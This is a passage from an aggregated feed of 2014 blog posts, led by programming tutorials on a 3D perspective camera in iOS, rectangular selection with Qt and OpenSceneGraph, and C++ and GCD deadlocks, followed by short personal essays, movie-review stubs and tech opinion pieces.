// near and far planes
@property (nonatomic, readwrite) float nearZ, farZ;

/* motion  */
@property (nonatomic, readwrite) float eyeX, eyeY, eyeZ;
@property (nonatomic, readwrite) float centerX, centerY, centerZ;
@property (nonatomic, readwrite) float upX, upY, upZ;

/* Read by Transform object */
@property (nonatomic, readonly) GLKMatrix4 projectionMatrix;
@property (nonatomic, readonly) GLKMatrix4 viewMatrix;

@end

Let’s look at each of these items one by one:

1. Field of view: Controls the area you want to capture. The wider the angle, the more area you capture. But at the cost of greater distortion. The fish eye lens has a very wide fov.

2. Aspect ratio: Controls the aspect ratio of the image captured. A value of 1 means the captured image will be distorted to fit within a square. You typically want this to be the actual ratio you wish to capture.

3. nearZ, farZ: The clip planes. Anything farther than farZ or nearer than nearZ doesn’t gets included in the final image. You don’t want the farZ to be too far, as it brings in more floating-point errors. So if set the farZ to 1,000,000 and you’ve two objects placed at z 10 and 12. The one at 12 might overlap the one at 10, even though it is farther down the z axis. Typically a value of 0.1 and 100 is good enough for nearZ and farZ respectively.

4. center: This is where the camera is placed at. Default value is origin.

5. up: Tells what side is considered as up. Default value if (0,1,0), that is up is along the y axis.

6. eye: This is the direction you’re pointing at. Actually the final direction is calculated using the up and center values as well.

Since the Camera class controls two independent things, we can have separate matrices for each one of those. The role of a matrix is just to transform points from one coordinate system to another. A matrix simply defines a coordinate system. So, if you have a 4×4 matrix and you multiply it with a 4D vector you get a 4D vector in the transformed coordinate space.

For our Camera class, we just keep track of two coordinate systems

- (void) updateProjection;
{
    self.projectionMatrix = GLKMatrix4MakePerspective(GLKMathDegreesToRadians(_fov),
    _aspectRatio,
    _nearZ, _farZ);
}

- (void) updateView;
{
    self.viewMatrix = GLKMatrix4MakeLookAt(
        _eyeX, _eyeY, _eyeZ,
        _centerX, _centerY, _centerZ,
        _upX, _upY, _upZ);

}

Whenever any of these values get updated, we simply update the related matrix.

Now let’s focus on the Transform class.

@interface Transform : NSObject

- (id)initWithCamera:(Camera *)camera;

@property (nonatomic, readwrite) float positionX, positionY, positionZ;
@property (nonatomic, readwrite) float rotationX, rotationY, rotationZ;
@property (nonatomic, readwrite) float scaleX, scaleY, scaleZ;
@property (nonatomic, readwrite) float angle;
@property (nonatomic, readonly) CATransform3D transform;

@end

This class is pretty straightforward. It just describes the transformations to be applied the object. The only thing that could be misunderstood is rotation. Rotation doesn’t describes the angle, it describes the axis. For angle we’ve another property. The final rotation is calculated from both rotation and angle.

Why do we need the Camera object? It’s because the final image is calculated after considering the camera object. Think of you shooting a frog leaping. The final captured motion depends on both the leap of the frog and the motion of your camera.

With that setup, lets see what can we build now. With a little experiment on the fov, camera’s eyeZ and the transform angle.

func applyPerspective()
{
    // config camera
    let contentCam:Camera = Camera()
    contentCam.fov = 10
    contentCam.aspectRatio = Float(UIScreen.main.bounds.width/UIScreen.main.bounds.height)
    contentCam.eyeZ = 25

    // config content transform
    let contentTransform:Transform = Transform(camera: contentCam)
    contentTransform.rotationX = 1.0
    contentTransform.rotationY = 0.0
    contentTransform.rotationZ = 0.0
    contentTransform.angle = -1.0

    contentView.layer.sublayerTransform = contentTransform.transform
}

I was able to get this.

Now, for your experimentation, you can test that when we update the fov how distorted the image gets. Also updating the eyeZ of camera actually zooms in and out the content. Next you can also experiment with different transform angles and axes.

There’s a whole lot of things I’ve skipped in the implementation of the Camera and the Transform class. It’s more about why things work the way they work. In particular the insides of

GLKMatrix4MakeLookAt()
GLKMatrix4MakePerspective()
GLKMatrix4MakeTranslation()
GLKMatrix4Rotate()
GLKMatrix4Multiply()
and much more

These are some of the most important functions where the real linear algebra magic is. But, I thought this is more like low level stuff and deserves a rant of its own. In the follow-up I’ll dive deeper in to these function and much more on linear algebra.

The code for this article is available at https://github.com/chunkyguy/DemoPerspectiveView

[10.29.14] The Flying Nimbus: Balancing Skateboard

transistor-man.com — Wed, 29 Oct 2014 10:38:38 GMT

What does a recycled (heavily used) go kart tire, an action-packed three-phase servo drive and a gyro/accelerometer have in common? A Balancing Skateboard Contraption.

Do Not Work in Isolation

Josh Thompson — Wed, 29 Oct 2014 02:00:00 GMT

I fear criticism. I don’t have nightmares about it, and I’m not (too) crippled by a desire to avoid it, but I absolutely don’t like criticism, or being disappointing, or any of those things. If my ego were making all decisions, I would move even slower than I do today into “new” territory. I probably wouldn’t read much, or try new things, or meet people. I’d play a lot of video games. (Actually… it’s embarrassing to be pwnd by 13 year old boys when playing online - maybe I’ve left video games to protect my ego.)

I go to great, sneaky lengths to avoid criticism. I’ll even do things like this (talk about fearing criticism) to avoid doing other things that will expose me to criticism and rejection. Seriously. I’m avoiding criticism right now by writing this.

If you are not embarrassed by the first version of your product, you’ve launched too late.

Reid Hoffman said that. He built LinkedIn. Regardless of how much you dislike LinkedIn, it’s an impressive accomplishment.

To this end, I’m working on a small project over at www.belaybetter.com. The task I am avoiding right now is reaching out through my network to get in touch with people I’ve never met, to talk to them about lead climbing, falling, and fear. This would be my second “pilot group” to discuss the material with. This will also be the first group that I don’t personally know.

My biggest fear is that I’ll reach out and no one will write back. I fear rejection. It’s easier to “work” on this project in isolation. It’s not scary to do that. But I know getting feedback from real people (silence is feedback) is far, far more helpful to me right now than additional isolated work. (If you lead climb, I’d love to talk to you - shoot me an email (joshthompson@hey.com) or tweet at me or something.)

Every time I’ve ever reached out to anyone to get help on a given project, it’s been intimidating, scary, and 100x more helpful than any other single action I could have taken. (Side note - the best money you can ever spend is to treat a wise old(er) person to coffee/lunch/dinner to pick their brain about what they’ve done. Do they have a good marriage? Ask about it. Are they accomplished at work? Ask why. Do they have skills? Ask how they built them. Do they seem to enjoy life? Ask about it.)

I guess I should stop avoiding criticism now…

-Josh

Thank You, Freedom. Signed, Ebola.

Zac Szewczyk — Tue, 28 Oct 2014 14:10:59 GMT

Yesterday afternoon I decided to make a concerted effort to stay abreast of world events going forward. Especially given the continued spread of Ebola across America, I could no longer focus solely on happenings within the tech industry as I have for the past two or three years. No sooner had I made this decision, though, than I came across a ponderous and subsequently maddening article over at NBC News titled “New Jersey Releases Nurse Quarantined for Suspected Ebola”.

Permalink.

1Q84 (1Q84, #1-3)

🦉 olshansky 🦁 — Tue, 28 Oct 2014 02:00:00 GMT

Olshansky's review of 1Q84 (1Q84, #1-3) by Haruki Murakami

Rectangular selections with Qt and OpenSceneGraph

Ecce Homology on Bastian Grossenbacher Rieck's personal homepage — Mon, 27 Oct 2014 20:48:08 GMT

In a previous post on this topic, I already talked about how to integrate Qt and OpenSceneGraph in a thread-safe manner. In the following post, I will briefly explain how to select objects in a 3D scene using a rectangular selection area. I want to achieve the following: The user shall be able to draw a rectangle on top of the 3D scene content that is shown in a viewer widget. All drawables that are intersected by said rectangle shall be collected for further processing. Sounds rather easy—and it even will turn out to be, thanks to Qt and osgUtil.

The following code snippets refer to the QtOSG project which was developed in the previously-referenced post. The code is still released under the “MIT Licence” and you are still most welcome to use it.

Why `osgManipulator` is not the solution

If you peruse the documentation of OpenSceneGraph, you might stumble over the osgManipulator library. Initially, I considered it to potentially solve this problem. After some fiddling with it, I can say that this is patently not the truth. osgManipulator seems to be unmaintained at the moment, and the developers of OpenSceneGraph seem to struggle with it themselves.

Besides, osgManipulator is meant to offer a way for manipulating objects within a scene, by placing a selector in said scene. I merely want to draw a rectangular area and find intersections.

`QPainter` to the rescue

It then occurred to me that I do not have to draw anything into the existing scene. It will be perfectly sufficient if the rectangle is drawn by Qt. I only need to extract its coordinates to calculate intersections (by projecting the rectangle into scene coordinates). I envisioned the following process for performing a selection:

Upon a mousePressEvent(), the mouse position (in window coordinates) is stored as the start and end point of the rectangle
During each mouseMoveEvent(), as long as the selection is active (i.e. the left mouse button is being pressed), the current mouse position is used as the end point of the rectangle
Upon the final mouseReleaseEvent(), the selection rectangle is projected into the scene and intersections with all visible objects are calculated (see below)

The rectangle itself is painted during the paintEvent() of the OSG widget. Assuming that we already stored and updated the coordinates during the events described above, we have the following drawing code:

void OSGWidget::paintEvent( QPaintEvent* /* paintEvent */ )
{
  QPainter painter( this );
  painter.setRenderHint( QPainter::Antialiasing );

  this->paintGL();

  if( selectionActive_ && !selectionFinished_ )
  {
    painter.setPen( Qt::black );
    painter.setBrush( Qt::transparent );
    painter.drawRect( makeRectangle( selectionStart_, selectionEnd_ ) );
  }

  painter.end();
}

The makeRectangle() uses the start and end coordinates of the selection rectangle and calculates how to draw the corresponding QRect:

QRect makeRectangle( const QPoint& first, const QPoint& second )
{
  if( second.x() >= first.x() && second.y() >= first.y() )
    return QRect( first, second );
  else if( second.x() < first.x() && second.y() >= first.y() )
    return QRect( QPoint( second.x(), first.y() ), QPoint( first.x(), second.y() ) );
  else if( second.x() < first.x() && second.y() < first.y() )
    return QRect( second, first );
  else if( second.x() >= first.x() && second.y() < first.y() )
    return QRect( QPoint( first.x(), second.y() ), QPoint( second.x(), first.y() ) );

  return QRect();
}

The mousePressEvent(), the mouseMoveEvent(), and the mouseReleaseEvent() only require minor additions, as well:

void OSGWidget::mousePressEvent( QMouseEvent* event )
{
  if( selectionActive_ && event->button() == Qt::LeftButton )
  {
    selectionStart_    = event->pos();
    selectionEnd_      = selectionStart_; // Deletes the old selection
    selectionFinished_ = false;           // As long as this is set, the rectangle will be drawn
  }
  else
  {
    // Normal processing
  }
}

void OSGWidget::mouseMoveEvent( QMouseEvent* event )
{
  // Note that we have to check the buttons mask in order to see whether the
  // left button has been pressed. A call to `button()` will only result in
  // `Qt::NoButton` for mouse move events.
  if( selectionActive_ && event->buttons() & Qt::LeftButton )
  {
    selectionEnd_ = event->pos();

    // Ensures that new paint events are created while the user moves the
    // mouse.
    this->update();
  }
  else
  {
    // Normal processing
  }
}

void OSGWidget::mouseReleaseEvent( QMouseEvent* event )
{
  if( selectionActive_ && event->button() == Qt::LeftButton )
  {
    selectionEnd_      = event->pos();
    selectionFinished_ = true; // Will force the painter to stop drawing the
                               // selection rectangle

    this->processSelection();
  }
  else
  {
    // Normal processing
  }
}

Calculating intersections

So far, we have draw a selection rectangle on top of a viewer widget. We now need to process the selection by projecting the rectangle, which is in window coordinates, into the scene, which is not. Fortunately, we can use the marvellous osgUtil library here (I am not sugar-coating this, the library is extremely useful and versatile). We first need to transform Qt’s window coordinates, which assume that the origin of the window is in the upper-left corner, into OSG’s window coordinates, in which the origin is the lower-left corner. We then use the polytope intersector, an auxiliary class in the osgUtil library that permits intersecting scenes with arbitrary polytopes. Our polytope will be very simple—it consists of the (transformed) coordinates of the selection rectangle. Here is the nice part: osgUtil will project the rectangle into the scene for us, so there is no need for further coordinate transformations!

The rest of the function merely shows how to use the intersection visitor class and extract the names of each intersected object. By setting up the polytope intersector properly, each object is ensured to be intersected at most once. This seemed the most useful behaviour for me.

void OSGWidget::processSelection()
{
  QRect selectionRectangle = makeRectangle( selectionStart_, selectionEnd_ );
  int widgetHeight         = this->height();

  double xMin = selectionRectangle.left();
  double xMax = selectionRectangle.right();
  double yMin = widgetHeight - selectionRectangle.bottom();
  double yMax = widgetHeight - selectionRectangle.top();

  osgUtil::PolytopeIntersector* polytopeIntersector
      = new osgUtil::PolytopeIntersector( osgUtil::PolytopeIntersector::WINDOW,
                                          xMin, yMin,
                                          xMax, yMax );

  // This limits the amount of intersections that are reported by the
  // polytope intersector. Using this setting, a single drawable will
  // appear at most once while calculating intersections. This is the
  // preferred and expected behaviour.
  polytopeIntersector->setIntersectionLimit( osgUtil::Intersector::LIMIT_ONE_PER_DRAWABLE );

  osgUtil::IntersectionVisitor iv( polytopeIntersector );

  for( unsigned int viewIndex = 0; viewIndex < viewer_->getNumViews(); viewIndex++ )
  {
    osgViewer::View* view = viewer_->getView( viewIndex );

    if( !view )
      throw std::runtime_error( "Unable to obtain valid view for selection processing" );

    osg::Camera* camera = view->getCamera();

    if( !camera )
      throw std::runtime_error( "Unable to obtain valid camera for selection processing" );

    camera->accept( iv );

    if( !polytopeIntersector->containsIntersections() )
      continue;

    auto intersections = polytopeIntersector->getIntersections();

    for( auto&& intersection : intersections )
      qDebug() << "Selected a drawable:" << QString::fromStdString( intersection.drawable->getName() );
  }
}

Note that the polytope intersector is applied to all views of the viewer widget. In a composite widget with multiple views, this results in objects being reported multiple times. The easiest way to avoid this is to use an std::set that stores the intersected objects.

Code, code, code

The code is available in a git repository. I welcome any pull requests.

Concurrency: Deadlocks

Whacky Labs — Mon, 27 Oct 2014 02:24:54 GMT

We’ve explored so much with our concurrency experiments and yet there’s one fundamental topic we haven’t touched so far. Deadlocks. Whenever we think of concurrency, we can’t help thinking of locks for protecting shared resources, managing synchronization and what not. But, as Uncle Ben has said, with great power comes great responsibility, similarly with great locks comes great deadlocks.

Deadlocks with multiple locks

In the classical concurrency theory, deadlocks happen when more than one thread needs mutual exclusivity over more than one shared resource. There’s a classic Dining Philosophers problem that demonstrates this deadlock situation.

Here’s the copy paste from the wikipedia page:

Five silent philosophers sit at a round table with bowls of spaghetti. Forks are placed between each pair of adjacent philosophers.

Each philosopher must alternately think and eat. However, a philosopher can only eat spaghetti when he has both left and right forks. Each fork can be held by only one philosopher and so a philosopher can use the fork only if it’s not being used by another philosopher. After he finishes eating, he needs to put down both forks so they become available to others. A philosopher can grab the fork on his right or the one on his left as they become available, but can’t start eating before getting both of them.

There are many problems hidden inside this one problem, but lets focus on the situation where every philosopher gets super hungry has acquired the fork on their left side and waiting for someone to release a fork before they can begin eating. But since, no philosopher is willing to release their fork, we have a deadlock situation.

Let’s reduce this problem to just two philosophers dining. Here’s a simple implementation

#define MAX_FORKS 2

std::mutex fork[MAX_FORKS];

class Philosopher {
private:
    std::string name_;
    int holdForkIndex_;

    void Think()
    {
        std::this_thread::sleep_for(std::chrono::seconds(1));
    }

public:
    Philosopher(const std::string &name, const int startForkIndex) :
    name_(name),
    holdForkIndex_(startForkIndex)
    {}

    void Eat()
    {
        std::cout << name_ << ": Begin eating" << std::endl;
        Think();
        std::lock_guard<std::mutex> locka(fork[holdForkIndex_]);
        std::cout << name_ << ": Hold fork: " << holdForkIndex_ << std::endl;
        holdForkIndex_ = (holdForkIndex_ + 1) % MAX_FORKS;
        Think();

        std::lock_guard<std::mutex> lockb(fork[holdForkIndex_]);
        std::cout << name_ << ": Hold fork: " << holdForkIndex_ << std::endl;
        holdForkIndex_ = (holdForkIndex_ + 1) % MAX_FORKS;

        // eating
        std::this_thread::sleep_for(std::chrono::microseconds(10));
        std::cout << name_ << " End eating" << std::endl;
    }
};

void DiningPhilosophers()
{
    Philosopher s("Socrates", 0);
    Philosopher n("Nietzsche", 1);

    std::thread sEat(&Philosopher::Eat, &s);
    std::thread nEat(&Philosopher::Eat, &n);

    sEat.join();
    nEat.join();
}

/* this is the main() */
void Deadlocks_main()
{
    DiningPhilosophers();
}

We have two philosophers and two forks. In each Eat() function we follow the order:

Think
Grab a fork
Think
Grab another fork
Eat
Release both forks

Here’s the output on my machine, before the program just hangs:

Socrates: Begin eating
Nietzsche: Begin eating
Socrates: Hold fork: 0
Nietzsche: Hold fork: 1

As you can see, each philosopher acquires a fork and then just waits indefinitely. One way to break this deadlock is to use std::lock() function. What this function does is that it provides a functionality to lock one or more mutexes at once if it can, otherwise it locks nothing.

void Eat()
{
    std::cout << name_ << ": Begin eating" << std::endl;

    int lockAIndex = holdForkIndex_;
    int lockBIndex = (holdForkIndex_ + 1) % MAX_FORKS;

    std::lock(fork[lockAIndex], fork[lockBIndex]);

    Think();

    std::lock_guard<std::mutex> locka(fork[lockAIndex], std::adopt_lock);
    std::cout << name_ << ": Hold fork: " << lockAIndex << std::endl;
    Think();

    std::lock_guard<std::mutex> lockb(fork[lockBIndex], std::adopt_lock);
    std::cout << name_ << ": Hold fork: " << lockBIndex << std::endl;

    // eating
    std::this_thread::sleep_for(std::chrono::microseconds(10));
    std::cout << name_ << " End eating" << std::endl;
}

First, the philosopher tries to lock both the forks. If successful, then they proceed further to eat, otherwise they just wait.

Notice two things here, first of all we’re not using any explicit loops to lock-test-release mutex. All of that is handled by std::lock(). Second, we’re providing the extra parameter std::adopt_lock as a second argument to std::lock_guard. This gives a hint to std::lock_guard to not lock the mutex at the construction, as we’re using the std::lock() for locking mutexes. The only role of std::lock_guard() here is to guarantee an unlock when the Eat() goes out of scope.

Here’s the output for the above code:

Socrates: Begin eating
Nietzsche: Begin eating
Socrates: Hold fork: 0
Socrates: Hold fork: 1
Socrates End eating
Nietzsche: Hold fork: 1
Nietzsche: Hold fork: 0
Nietzsche End eating

Deadlocks with single lock

Deadlocks happen more often when more than one mutex is involved. But, that doesn’t means that deadlocks can’t happen with a single mutex. You must be thinking, how much stupid one has to be just using a single mutex and still deadlocking the code. Picture this scenario:

Homer Simpson works at Sector 7-G of a high security Nuclear Power Plant. To avoid the unproductive water-cooler chit-chat, their boss Mr. Burns has placed the water cooler inside a highly protected cabin which is protected by a passcode, allowing only single employee in at a time. Also, to keep track of how much water is being consumed by each employee, Mr. Burns has equipped the water cooler with mechanism that every employee needs to swipe their card in order to use it.

Homer is thirsty, so he decides to get some water. He enters the passcode and is inside the protected chamber. Once there, he realizes he’s left his card at his desk. Being lazy, he decides to call his friend Lenny to fetch his card. Lenny goes to Homer’s office, grabs his card and goes straight to the water cooler chamber, only to find it locked from the inside.

Now, inside Homer is waiting for Lenny to get his card. While, outside Lenny is waiting for the door to get unlocked. And we have a deadlock situation.

Here’s a representation of above problem in code

std::mutex m;

void SwipeCard()
{
    std::cout << "Card swiping ... " << std::endl;
    std::lock_guard<std::mutex> waterCoolerLock(m);
    std::cout << "Card swiped" << std::endl;
}

void GetWater()
{
    std::cout << "Chamber unlocking ... " << std::endl;
    std::lock_guard<std::mutex> waterCoolerLock(m);
    std::cout << "Chamber unlocked" << std::endl;

    SwipeCard();

    std::cout << "Water pouring" << std::endl;
}

void Sector7GSituation()
{
    GetWater();
}

And here’s the output before the program hangs:

Chamber unlocking ... 
Chamber unlocked
Card swiping ... 

The moral of the story is, calling of user code after acquiring a lock should be handled with uttermost care. For example, in above code calling SwipeCard() after acquiring a lock is a big clue that there are some design errors with this code.

The solution is to the restructure the code with something like:

std::mutex m;

void SwipeCard()
{
    std::cout << "Card swiping ... " << std::endl;
    std::lock_guard<std::mutex> waterCoolerLock(m);
    std::cout << "Card swiped" << std::endl;
}

void EnterChamber()
{
    std::cout << "Chamber unlocking ... " << std::endl;
    std::lock_guard<std::mutex> waterCoolerLock(m);
    std::cout << "Chamber unlocked" << std::endl;
}

void GetWater()
{
    EnterChamber();
    SwipeCard();
    std::cout << "Water pouring" << std::endl;
}

void Sector7GSituation()
{
    GetWater();
}

Output:

Chamber unlocking ... 
Chamber unlocked
Card swiping ...
Card swiped
Water pouring

Deadlocks and libdispatch

Moving over to GCD, we don’t have to worry about such nitty-gritty details, as we don’t have to care about mutex and locks. But still deadlocks can happen, because deadlocks are more of design errors than anything else.

Here’s one example of a deadlock using GCD

let queue:dispatch_queue_t = dispatch_queue_create("deadlockQueue", nil)
func SimpleDeadlock()
{
    dispatch_sync(queue) {
        println("Enter task: 0")
        dispatch_sync(queue) {
            println("Enter task: 1")
            println("Exit task: 1")
        }
        println("Exit task: 0")
    }
}

SimpleDeadlock()

The jobs sounds simple enough, we have a serial queue. We have two tasks, we need them to be executed sequentially. Each task has a taskId associated with it, just so that we can keep track of what’s getting executed. We use dispatch_sync because we want our tasks to be executed one after the other.

Here’s the output, before it gets deadlocked:

Enter task: 0

So, why isn’t the task 1 getting executed? Well, lets understand how dispatch_sync works. A dispatch_sync blocks the queue until it has been executed fully. Consider the following situation:

Say there is a hair saloon, they’ve a very strict first come first serve policy. A mother and a daughter visit the saloon. The mother steps in first so gets the client id 0 while the daughter gets client id 1. According to the rules, they have to serve the mother first, because she has the lowest numbered client id. But, the mother insists that they first serve her daughter. If they start serving the daughter they’re actually breaking the rule, as then they would be serving client 1 before 0. Hence, the deadlock.

And this is exactly why task 1 is not getting initiated, because the serial dispatch_queue is waiting for the task 0 to finish. But, the task 0 is insisting the queue to finish the task 1 first.

There are two ways to resolve this deadlock. First is using a concurrent queue instead of a serial queue.

let queue:dispatch_queue_t = dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0)

func SimpleDeadlock()
{
    dispatch_sync(queue) {
        println("Enter task: 0")
        dispatch_sync(queue) {
            println("Enter task: 1")
            println("Exit task: 1")
        }
        println("Exit task: 0")
    }
}



SimpleDeadlock()

Output

Enter task: 0
Enter task: 1
Exit task: 1
Exit task: 0

The reason why this works is that a concurrent queue is allowed to work on more than one submitted task at a time. So, first task 0 is submitted. Task 0 then submits task 1 and demands it to be executed synchronously or in other words to be finished before finishing task 0. Since this is a concurrent queue, it’s distributes its time over all the queued tasks.

In terms of our mother-daughter-and-the-saloon example above. Lets say the saloon has a big clock that ticks every 1 minute. For that 1 minute they focus on a single client and then at the next tick they switch to another client, irrespective of what state the client is in.

So at first tick they focus on the mother, the mother just sits there not allowing them to even touch her hairs before her daughter is done. At next tick, they switch to the daughter and start serving her. This repeats until the daughter is fully done, then the mother allows them to work on her hairs.

This works, but it has a problem. Remember, we wanted the task 0 to be fully completed before task 1. That’s probably why we thought of using serial queues and synchronous tasks. This solution actually breaks it. What we actually need is a serial queue with tasks asynchronously submitted.

let queue:dispatch_queue_t = dispatch_queue_create("deadlockQueue", nil)

func SimpleDeadlock()
{
    dispatch_async(queue) {
        println("Enter task: 0")
        dispatch_async(queue) {
            println("Enter task: 1")
            println("Exit task: 1")
        }
        println("Exit task: 0")
    }
}

XCPSetExecutionShouldContinueIndefinitely(continueIndefinitely: true)
SimpleDeadlock()

Output:

Enter task: 0
Exit task: 0
Enter task: 1
Exit task: 1

This solution submits task 1 after task 0 to a serial queue. Since, this is a serial queue, the task ordering is preserved. Also, since tasks do not depend on each other, we never see any deadlocks.

The lesson here is to use dispatch_sync very carefully. Remember deadlocks are always design errors.

The code for todays experiment is available at github.com/chunkyguy/ConcurrencyExperiments. Check it out and have fun experimenting on your own.

Sex Tape

🦉 olshansky 🦁 — Sun, 26 Oct 2014 18:21:46 GMT

Olshansky's review of Sex Tape

ZLog: a distributed shared-log on Ceph

Noah Watkins — Sun, 26 Oct 2014 03:00:00 GMT

Building the CORFU distributed shared-log protocol on top of Ceph.

I don't get Uber labeling, or Uber drivers expectations

Welcome to Marco Fioretti's website! on Stop at Zona-M — Sat, 25 Oct 2014 03:00:00 GMT

I must be missing something. Seriously. Please explain it to me. First, I don’t get how Uber is still called or classified, or more exactly why so many people seem to continue to let Uber or anybody else get away with it. Second, I don’t get titles and posters like these about “Uber strikes” or “Uber unfairness”.

Birdman or (The Unexpected Virtue of Ignorance)

🦉 olshansky 🦁 — Fri, 24 Oct 2014 05:02:02 GMT

Olshansky's review of Birdman or (The Unexpected Virtue of Ignorance)

Linda Liukas: Author of Hello Ruby, Rails Girls Founder

Sam Solomon — Fri, 24 Oct 2014 03:00:00 GMT

How can we encourage children to code? Linda Liukas is the author and illustrator of Hello Ruby, a children’s book about the whimsical world of computers…

Avengers: Age of Ultron

🦉 olshansky 🦁 — Thu, 23 Oct 2014 05:20:40 GMT

Olshansky's review of Avengers: Age of Ultron

Testing Evolution's git master and GNOME continuous

The Technical Blog of James on purpleidea.com — Wed, 22 Oct 2014 20:22:56 GMT

I’ve wanted a feature in Evolution for a while. It was formally requested in 2002, and it just recently got fixed in git master. I only started publicly groaning about this missing feature in 2013, and mcrha finally patched it. I tested the feature and found a small bug, mcrha patched that too, and I finally re-tested it. Now I’m blogging about this process so that you can get involved too!

Why Evolution?

Evolution supports GPG (Geary doesn't, Gmail doesn't)
Evolution has a beautiful composer (Gmail's sucks, just try to reply inline)
Evolution is Open Source and Free Software (Gmail is proprietary)
Evolution integrates with GNOME (Gmail doesn't)
Evolution has lots of fancy, mature features (Geary doesn't)
Evolution cares about your privacy (Gmail doesn't)

The feature:

I’d like to be able to select a bunch of messages and click an archive action to move them to a specific folder. Gmail popularized this idea in 2004, two years after it was proposed for Evolution. It has finally landed.

From Node.js back to Java

GeekWare - Daniel Pecos Martínez — Wed, 22 Oct 2014 14:33:19 GMT

During last year, I had the chance to work as CTO of a startup, working mainly within MEAN stack. I was happy, the technology I was working with was in a great hype and its community grew bigger and bigger with lots of projects popping up everywhere.

But life is continuously changing, and I started to work in a new company within Java/JEE technologies. I was back to my first days as a professional computer engineer. Java ecosystem is huge, and there are some well established tools that you must control if you want to progress as Java developer. But Java -the language- is getting older, and newer languages are more expressive and require less boiler plate code (don’t get me wrong, JVM is a great platform, and probably the best one for enterprise applications). Even with the recent release of Java 8, which introduced Lambdas and some functional style capabilities, I still feel like writing too much, or at least much more than with other languages.

You could ask yourself then why did I change?

Not long ago JVM included some bytecode instructions that allowed scripting languages to be run within it. That turn the JVM into a polyglot ecosystem, with languages like Groovy, Scala or Clojure gaining traction, attracting more users into it and making its community more vibrant than ever.

We’re living a Functional Renaissance, where OOP is not the only solution one would dare to apply any more. And probably its flagships are Scala and Clojure, both JVM based (whereas there are implementations of Scala for .NET platform, its origin and biggest user base is using JVM version).

And this transformation happening within the JVM was the main reason I wanted to come back. It’s a perfect moment to be there and worth of losing daily touch with Node.js (at least in my job, because I still love this technology and its community). JVM is a great platform, has great tools, and now finally, has some great languages.

Who We Are

Zac Szewczyk — Wed, 22 Oct 2014 12:03:00 GMT

An incredible video from a group of hunters who make no excuses for their chosen profession, but who also approach it with the extreme respect that nature deserves. I personally have never had a particularly strong desire to take up hunting, but hearing Donnie Vincent talk about nature with such reverence showed me a side of this lifestyle — for to call it a “sport” would be to do the lifestyle Donnie and his companions devoted themselves a great disservice — that I had previously never seen. There is now little doubt in my mind that there exists a more noble passion than this.

Permalink.

Code is the Cure for Developaralysis

Brightball Articles — Wed, 22 Oct 2014 04:06:00 GMT

A couple of days ago, TechCrunch ran a column about Developaralysis that hit a little close to home. Developaralysis is defined as "the crippling sense that the software industry is evolving so fast that no one person can possibly keep up." This results in otherwise accomplished developers freezing up when trying to make decisions about the best language / framework / cloud platform to use for their project. There is a cure and it involves code. A code specifically.

OS X Yosemite: If This Doesn't Make You An Apple Guy, Nothing Will

Zac Szewczyk — Tue, 21 Oct 2014 22:34:03 GMT

I’ve been moving further and further from the tech space lately, but this article still caught my eye from Aric Mitchell over at inStash. Here, Aric takes a short minute to chronicle his journey with Apple’s products, and then talk about the experiential side of the company’s latest desktop operating system, OS X Yosemite. This is by far and away the best piece of tech-focused writing I have read in quite some time.

Permalink.

Big Hero 6

🦉 olshansky 🦁 — Tue, 21 Oct 2014 04:40:16 GMT

Olshansky's review of Big Hero 6

A Small Goal is Better than a Grand Plan

Josh Thompson — Tue, 21 Oct 2014 03:00:00 GMT

We all have grand plans. Who’s future projection of themselves goes something like this: “One day, when I’m rich (goal one), location independent (goal two), and married to a fabulous woman (goal three), I will travel the world (goal four) while exploring my hobby of ___ (goal five).” Sounds nice, but this narrative assume so much, and is so ill-defined. With such a disconnect between here and there , why wouldn’t you just go play video games all evening. Again. We’ll work on that stuff later.

I suspect many of us struggle with the above problem. Great big grand goals completely disconnected from reality. No clue where to begin, and it’s all daunting anyway. So lets go do something else.

Over the last few years, I’ve grown less-bad at breaking big problems into little problems, and dealing with those small things. I’ve made progress towards some big life goals (I married a fabulous woman!) and have plenty of progress to make towards other goals. (I don’t yet own a jet/boat/villa.) more

Motion is Easy, Can be Pointless

The last two years have been marked by completely disconnected, insignificant bits of progress towards over a dozen different goals. I’ve learned a little Excel, basic HTML and CSS, Python, Ruby, database management, SEO optimization, amateur-at-best handstands, a little bit of business consulting skills, public speaking skills, amateur-at-best running skills, intermediate-at-best Krav Maga skills, too many hours of Call of Duty, a bunch of books, a brief foray into meditation/mindfulness, “mental math”, learned a few chords on the Ukulele, spent far too many hours on Reddit, wrote (and than abandoned) a small book, filmed (but never edited) climbing instructional videos, own (and have ideas for) a half-dozen domains, read a few books on stock investing, then real estate investing, spent a ton of time on work-related side projects, and who knows what else.

The above represents a tremendous amount of activity, but zero progress. I can carry on a half-intelligent conversation on a few different subjects, but in none of the above areas have I had a significant impact on anyone’s life, except for my own.

There are two items on the list that belong in a category of their own. I’ve undertaken only two things with consistency and intentionality, and I (if no one else) have derived significant benefit from these things… and I just spent twenty minutes on Twitter. Where was I?

Oh, right. Important things, consistency, impacting lives. Climbing and writing. Climbing is, well… it’s climbing. Writing does, occasionally, bring a clarity to my own thinking. I sincerely hope to be helpful/useful to others, but writing is without peer for solidifying my own thinking. So I write. About one in three times I hit the “publish” button.

So what’s the solution? How does any of us resolve the tension between the what is and the what could be.

Think of the Slope, not the Y-Intercept

Stanford Professor John Ousterhout had a reputation for lectures categorized as “thoughts for the weekend”. One of his most memorable was titled A little bit of slope makes up for a lot of y-intercept. Please, read his lecture. It’s very short. His summary paragraph:

I often ask myself: have I learned one new thing today? Now you guys are younger and, you know, your slope is a little bit higher than mine and so you can learn 2 or 3 or 4 new things a day. But if you just think about your slope and don’t worry about where you start out you’ll end up some place nice.

This quote, this idea, is the resolution between what is and what can be. Try to learn two or three new things a day, and you’ll end up some place nice.*

-Josh

*The required qualifying statements is a whole other article.

Open Source and Code Responsibility

Nicola Iarocci — Tue, 21 Oct 2014 03:00:00 GMT

Last week I was speaking at an Open Source panel at Better Software 2014, and one of the topics that we touched was code responsibility. This is an important topic for anyone who is maintaining an open source project, especially when it comes to the process of reviewing and accepting code contributions.

At some point during the debate, I argued that when a maintainer merges a pull request, he (or she) implicitly agrees on being responsible for that code. That seemed to strike some surprise into most attendees.

Yes, in theory any contributor is just a ping away so in case trouble arises one can always reach him, or her. Unfortunately this is not always the case. While some contributors will fully embrace your project and keep helping after their initial contribution, truth is that a good number of them will just move on, never to be seen again.

